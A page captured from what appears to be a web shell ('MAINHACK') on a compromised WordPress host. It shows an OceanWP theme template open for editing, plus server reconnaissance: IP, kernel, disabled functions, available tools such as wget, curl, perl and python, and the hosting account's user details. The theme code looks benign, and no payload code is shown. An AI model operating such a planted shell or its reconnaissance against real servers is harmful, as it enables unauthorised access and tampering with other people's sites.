[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mobile-dropdown.php
<?php /** * Drop down mobile style template part. * * @package OceanWP WordPress theme */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( 'dropdown' !== oceanwp_mobile_menu_style() || ! oceanwp_display_navigation() ) { return; } // Navigation classes. $classes = array( 'clr' ); // If social. if ( true === get_theme_mod( 'ocean_menu_social', false ) ) { $classes[] = 'has-social'; } // Turn classes into space separated string. $classes = implode( ' ', $classes ); // Menu Location. $menu_location = apply_filters( 'ocean_main_menu_location', 'main_menu' ); // Dropdown menu attributes. $dropdown_menu_attrs = apply_filters( 'oceanwp_attrs_mobile_dropdown', '' ); // Menu arguments. $menu_args = array( 'theme_location' => $menu_location, 'container' => false, 'fallback_cb' => false, 'custom_output' => 'mobile_menu', ); // Check if custom menu. if ( $menu = oceanwp_header_custom_menu() ) { $menu_args['menu'] = $menu; } // Left menu for the Center header style. $left_menu = get_theme_mod( 'ocean_center_header_left_menu' ); $left_menu = '0' !== $left_menu ? $left_menu : ''; $left_menu = apply_filters( 'ocean_center_header_left_menu', $left_menu ); // Menu arguments. $left_menu_args = array( 'menu' => $left_menu, 'container' => false, 'fallback_cb' => false, ); // Top bar menu Location. $top_menu_location = 'topbar_menu'; // Menu arguments. $top_menu_args = array( 'theme_location' => $top_menu_location, 'container' => false, 'fallback_cb' => false, ); $menu_args = oceanwp_apply_nav_walker_context( $menu_args, 'mobile-dropdown' ); $left_menu_args = oceanwp_apply_nav_walker_context( $left_menu_args, 'mobile-dropdown' ); $top_menu_args = oceanwp_apply_nav_walker_context( $top_menu_args, 'mobile-dropdown' ); ?> <div id="mobile-dropdown" class="clr" <?php echo $dropdown_menu_attrs; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <nav class="<?php echo esc_attr( $classes ); ?>" aria-label="<?php esc_attr_e( 'Mobile navigation', 'oceanwp' ); ?>"<?php oceanwp_schema_markup( 'site_navigation' ); ?>> <?php // If has mobile menu. if ( has_nav_menu( 'mobile_menu' ) ) { get_template_part( 'partials/mobile/mobile-nav' ); } else { // If has center header style and left menu. if ( 'center' === oceanwp_header_style() && $left_menu ) { wp_nav_menu( $left_menu_args ); } // Navigation. wp_nav_menu( $menu_args ); // If has top bar menu. if ( has_nav_menu( $top_menu_location ) ) { wp_nav_menu( $top_menu_args ); } } // Social. if ( true === get_theme_mod( 'ocean_menu_social', false ) ) { get_template_part( 'partials/header/social' ); } // Mobile search form. if ( get_theme_mod( 'ocean_mobile_menu_search', true ) ) { get_template_part( 'partials/mobile/mobile-search' ); } ?> </nav> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154